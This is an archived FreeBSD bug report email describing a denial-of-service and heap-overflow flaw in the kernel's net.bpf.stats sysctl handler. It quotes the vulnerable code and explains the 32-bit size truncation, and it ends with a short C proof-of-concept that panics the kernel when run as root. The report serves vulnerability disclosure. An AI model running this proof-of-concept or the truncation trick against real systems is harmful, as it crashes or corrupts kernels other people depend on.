Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 22 Apr 2016 21:54:22 +0000
From:      bugzilla-noreply@freebsd.org
To:        freebsd-bugs@FreeBSD.org
Subject:   [Bug 208985] DoS / heap overflow in bpf_stats_sysctl
Message-ID:  <bug-208985-8@https.bugs.freebsd.org/bugzilla/>

next in thread | raw e-mail | index | archive | help
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D208985

            Bug ID: 208985
           Summary: DoS / heap overflow in bpf_stats_sysctl
           Product: Base System
           Version: 11.0-CURRENT
          Hardware: Any
                OS: Any
            Status: New
          Severity: Affects Only Me
          Priority: ---
         Component: kern
          Assignee: freebsd-bugs@FreeBSD.org
          Reporter: cturt@hardenedbsd.org

The `sysctl` handler for `net.bpf.stats`, `bpf_stats_sysctl`, calls `malloc`
with an unchecked user supplied size and the `M_WAITOK` flag.

sys/net/bpf.c:

static int
bpf_stats_sysctl(SYSCTL_HANDLER_ARGS)
{
        static const struct xbpf_d zerostats;
        struct xbpf_d *xbdbuf, *xbd, tempstats;
        int index, error;
        struct bpf_if *bp;
        struct bpf_d *bd;

        /*
         * XXX This is not technically correct. It is possible for non
         * privileged users to open bpf devices. It would make sense
         * if the users who opened the devices were able to retrieve
         * the statistics for them, too.
         */
        error =3D priv_check(req->td, PRIV_NET_BPF);
        if (error)
                return (error);

        ...

        xbdbuf =3D malloc(req->oldlen, M_BPF, M_WAITOK);
        BPF_LOCK();
        if (req->oldlen < (bpf_bpfd_cnt * sizeof(*xbd))) {
                BPF_UNLOCK();
                free(xbdbuf, M_BPF);
                return (ENOMEM);
        }
        index =3D 0;
        LIST_FOREACH(bp, &bpf_iflist, bif_next) {
                BPFIF_RLOCK(bp);
                /* Send writers-only first */
                LIST_FOREACH(bd, &bp->bif_wlist, bd_next) {
                        xbd =3D &xbdbuf[index++];
                        BPFD_LOCK(bd);
                        bpfstats_fill_xbpf(xbd, bd);
                        BPFD_UNLOCK(bd);
                }
                LIST_FOREACH(bd, &bp->bif_dlist, bd_next) {
                        xbd =3D &xbdbuf[index++];
                        BPFD_LOCK(bd);
                        bpfstats_fill_xbpf(xbd, bd);
                        BPFD_UNLOCK(bd);
                }
                BPFIF_RUNLOCK(bp);
        }
        BPF_UNLOCK();
        error =3D SYSCTL_OUT(req, xbdbuf, index * sizeof(*xbd));
        free(xbdbuf, M_BPF);
        return (error);
}

For the latest version of FreeBSD, the maximum impact of this is panic from
supplying large enough sizes. For older releases of 64 bit FreeBSD (like 9.=
0)
which truncate `malloc` sizes to 32 bit, a size like `0x100000004` will res=
ult
in an allocation of 4 bytes, which will bypass the check for `(req->oldlen <
(bpf_bpfd_cnt * sizeof(*xbd)))` and then cause heap overflow by the
`bpfstats_fill_xbpf` calls.

Annoyingly, this function has a `priv_check` against `PRIV_NET_BPF`, even
though it shouldn't! A comment in this function mentions that unprivileged
users _should_ be able to call this function, and thus make use of the
vulnerability:

"This is not technically correct. It is possible for non privileged users to
open bpf devices. It would make sense if the users who opened the devices w=
ere
able to retrieve the statistics for them, too."

Because of this the below code will only cause kernel panic when run as `ro=
ot`:

#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

int main(void) {
        int result;

        char *m =3D malloc(256);
        size_t l =3D 0x100000000;

        result =3D sysctlbyname("net.bpf.stats", m, &l, NULL, 0);

        printf("%d\n", result);
        printf("%d\n", errno);

        return 0;
}

--=20
You are receiving this mail because:
You are the assignee for the bug.=



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?bug-208985-8>